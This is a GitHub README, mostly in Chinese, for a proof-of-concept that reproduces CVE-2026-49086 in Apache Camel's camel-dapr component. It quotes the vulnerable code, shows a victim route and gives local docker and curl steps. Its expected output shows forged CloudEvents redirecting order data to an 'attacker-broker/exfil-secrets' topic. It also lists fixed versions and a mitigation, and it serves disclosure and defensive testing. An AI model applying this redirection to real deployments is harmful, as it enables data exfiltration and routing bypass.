oscerd/CVE-2026-49086
GitHub: oscerd/CVE-2026-49086
该项目复现了 Apache Camel camel-dapr 组件中由路由标头覆盖导致的混淆代理漏洞(CVE-2026-49086),演示攻击者如何通过伪造 CloudEvent 窃取重发布消息。
Stars: 0 | Forks: 0
# camel-dapr 消费者路由标头覆盖 / 混淆代理复现器 (CVE-2026-49086)
本项目演示了 Apache Camel 的 `camel-dapr` 组件中的一个**路由标头覆盖(混淆代理)**漏洞,追踪编号为 **CVE-2026-49086**。
Dapr 发布/订阅 **消费者** (`DaprPubSubConsumer`) 会将入站(不可信)CloudEvent 的字段复制到 Exchange 的消息标头中。其中两个字段 —— `pubsubName` 和 `topic` —— 是**生产者方向的路由标头**(`CamelDaprPubSubName` / `CamelDaprTopic`)。当同一路由随后使用 `dapr:pubSub` **生产者**进行发布时,`DaprConfigurationOptionsProxy` 会**优先使用标头中的值,而不是端点上配置的值**。因此,由不可信消息发送者控制的入站信封会在暗中覆盖路由重新发布的目标:
```
// DaprPubSubConsumer.createServiceBusExchange (affected 4.18.2) — untrusted envelope -> routing headers
message.setHeader(DaprConstants.PUBSUB_NAME, cloudEvent.getPubsubName()); // CamelDaprPubSubName
message.setHeader(DaprConstants.TOPIC, cloudEvent.getTopic()); // CamelDaprTopic
// DaprConfigurationOptionsProxy.getOption (affected 4.18.2) — header WINS over endpoint config
return ObjectHelper.isEmpty(exchange) || ObjectHelper.isEmpty(exchangeFn.apply(exchange))
? fallbackFn.get() // endpoint config (e.g. audit-broker/audit-log)
: exchangeFn.apply(exchange); // the header copied from the inbound CloudEvent
```
在一个消费某个主题并重新发布到另一个主题的路由(一种常见的审计/转发/扇出模式)中,能够向**已订阅**主题发布消息的攻击者可以通过设置 CloudEvent 的 `pubsubName`/`topic`,**将重新发布的消息重定向到任意的 Dapr 发布/订阅组件和主题** —— 从而将 payload 窃取到攻击者可达的 broker,或绕过预期的路由/ACL。这是一种**混淆代理**攻击:应用程序使用其自身的 Dapr 凭据将消息重新发布到攻击者选择的目的地。
此 PoC 将其影响演示为**消息重定向 / 数据窃取(CWE-441,源自 CWE-20)**。
安全通告:
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-dapr` |
| **受影响类** | `org.apache.camel.component.dapr.consumer.DaprPubSubConsumer`(从入站 CloudEvent 设置 `PUBSUB_NAME`/`TOPIC` 标头) |
| **CWE** | CWE-20(输入验证不恰当)/ CWE-441(非预期代理 / 混淆代理) |
| **影响** | 将重新发布的消息重定向到任意的 Dapr 发布/订阅组件和主题(数据窃取 / 路由和 ACL 绕过) |
| **前置条件** | 路由消费来自 `dapr:pubSub` 主题的消息,并通过 `dapr:pubSub` 生产者重新发布;攻击者能够向已订阅的主题发布消息 |
| **受影响版本** | 4.12.0 至 4.14.7,4.15.0–4.18.2,4.19.0–4.20.x |
| **修复版本** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23630 (PR [apache/camel#23886](https://github.com/apache/camel/pull/23886)) |
| **致谢** | Leon Zlobecki |
## 为什么不需要 Dapr sidecar
该漏洞完全存在于 Camel 中 —— 消费者将 `CloudEvent.pubsubName`/`topic` 复制到路由标头中,而生产者又优先使用这些标头。Dapr sidecar 仅作为传输层。此复现器注入了 **mock Dapr SDK 客户端**(`client=#mockClient`, `previewClient=#mockPreview`),以便 **真实的** `DaprPubSubConsumer` 和 `DaprPubSubHandler` 在没有 sidecar 的情况下保持不变地运行:mock preview 客户端捕获订阅监听器,而 mock 客户端记录发布目标。然后,攻击者驱动程序将伪造的 CloudEvent 传递给捕获的监听器 —— 这正是能够向已订阅主题发布消息的发送者所触发的行为。
## 受害者路由
```
from("dapr:pubSub?pubSubName=orders-broker&topic=orders&previewClient=#mockPreview&client=#mockClient")
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log&client=#mockClient&previewClient=#mockPreview");
```
作者意图将**每一个**订单镜像到固定的 `audit-broker/audit-log`。但由于消费者将入站信封的 `pubsubName`/`topic` 复制到了路由标头中,审计生产者会将消息发布到信封指定的位置 —— 而绝不是配置好的审计流。
## 仓库结构
所有操作都在一个独立的容器中运行。
```
CVE-2026-49086/
├── pom.xml # camel-dapr 4.18.2 (dapr-sdk 1.16.1 transitive) + spring-boot-web
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── DaprMockConfig.java # mock DaprClient + DaprPreviewClient (dynamic proxies; no sidecar)
│ ├── PublishRecorder.java # records where the producer actually published
│ ├── SubscriptionRegistry.java # captures the consumer's subscription listener
│ ├── VictimRoutes.java # dapr:pubSub subscribe -> dapr:pubSub publish (audit)
│ └── ExploitController.java # attacker: deliver forged CloudEvents; compare publish target
└── resources/
└── application.properties
```
## 前置条件
- Docker 和 Docker Compose
- Java 17+ 和 Maven 3.8+
## 复现步骤
```
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### 预期输出
```
=== CVE-2026-49086 — camel-dapr consumer routing-header override (confused deputy) ===
Route intent: mirror every order to a FIXED audit stream
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log")
1) Ordinary order event (envelope pubsub=orders-broker topic=orders)
audit copy actually published to: orders-broker / orders
-> already NOT the configured audit-broker/audit-log: the envelope's routing fields leaked into the producer.
2) Malicious order event (envelope forged: pubsub=attacker-broker topic=exfil-secrets)
audit copy actually published to: attacker-broker / exfil-secrets
leaked order data: {"orderId":"A-1002","card":"4111-2222-3333-4444"}
>>> PROVEN: the inbound CloudEvent's pubsubName/topic overrode the route's hard-coded
>>> audit target, so an attacker who can publish to 'orders' redirects the order copy to
>>> an arbitrary pub/sub component + topic (data exfiltration / routing bypass): true
```
## 推荐修复方案
升级到 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23630)。修复后,消费者不再设置 `CamelDaprPubSubName` / `CamelDaprTopic`,因此位于 `dapr:pubSub` 消费者下游的 `dapr:pubSub` 生产者将使用其端点配置的发布/订阅组件和主题。
## 缓解措施
在升级之前,请在路由中移除消费者与任何 `dapr:pubSub` 生产者之间的路由标头(例如 `removeHeaders("CamelDaprPubSubName,CamelDaprTopic")`),并从可信来源设置重新发布的发布/订阅组件和主题。
## 免责声明
本复现器仅用于**安全研究和授权测试**,针对的是**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于攻击系统。
标签:Apache Camel, Dapr, JS文件枚举, PoC, 域名枚举, 暴力破解, 混淆代理, 漏洞复现, 请求拦截